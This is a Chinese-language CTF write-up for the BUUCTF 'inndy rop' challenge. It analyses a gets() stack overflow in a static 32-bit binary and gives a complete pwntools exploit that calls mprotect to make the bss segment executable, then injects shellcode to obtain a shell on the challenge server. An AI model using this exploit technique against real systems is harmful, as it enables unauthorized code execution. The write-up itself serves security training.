inndy rop

# inndy rop

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/inndy_rop/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

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# 静态分析

overflow函数如下：

int overflow()
{
  char v1; // [esp+Ch] [ebp-Ch]

  return gets(&v1);
}

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# 链接方式

file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

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静态链接文件

# 思路分析

目前信息：
- overflow函数存在任意长度的溢出点
- No canary found
- NX enabled
- No PIE
思路：
- 溢出劫持执行流到mprotect修改bss段的权限，将shellcode写入bss段处，返回并执行获得shell

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/inndy_rop/rop'
io = remote('node4.buuoj.cn', 28710)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0xc+4
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
bss_start = elf.bss() & 0xfffff000  # 页对齐
bss_size = 0x1000
rwx = 7
pop_3times_ret = 0x0806ecd8
payload = flat(['a'*padding, mprotect_addr, pop_3times_ret, bss_start,bss_size, rwx, read_addr, bss_start, 0, bss_start, bss_size])
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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